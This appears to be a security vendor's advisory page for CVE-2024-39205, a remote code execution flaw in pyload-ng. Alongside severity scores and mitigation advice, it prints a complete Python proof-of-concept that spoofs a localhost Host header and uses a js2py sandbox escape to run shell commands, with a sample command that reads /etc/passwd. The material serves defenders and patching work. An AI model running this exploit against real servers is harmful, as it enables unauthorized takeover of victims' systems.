CVE-2024-39205 — pyload-ng
CRITICALCVE-2024-39205 is a critical-severity (CVSS 9.8) remote code execution vulnerability in pyload-ng. 3 public exploit references exist, so weaponization risk is real. No vendor fix is recorded yet; mitigation options are listed below.
pyload-ng vulnerable to RCE with js2py sandbox escape
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-39205.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2024-39205 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the 10–50% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
pyload-ngReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.
Details
js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the /flash/addcrypted2 API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.
PoC
The PoC is provided as poc.py below, you can modify the shell command it execute:
import socket
import base64
from urllib.parse import quote
host, port = input("host: "), int(input("port: "))
payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
return n11
}
"""
crypted_b64 = base64.b64encode(b"1234").decode()
data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"
request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}
{data}
""".encode().replace(b"\n", b"\r\n")
def main():
s = socket.socket()
s.connect((host, port))
s.send(request)
response = s.recv(1024).decode()
print(response)
if __name__ == "__main__":
main()
Impact
Anyone who runs the latest version (<=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyload-ng | all versions | No fix |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of pyload-ng has shipped for CVE-2024-39205 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-39205 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2024-39205. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2024-39205 in your dependencies?
O3 Security finds CVE-2024-39205 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.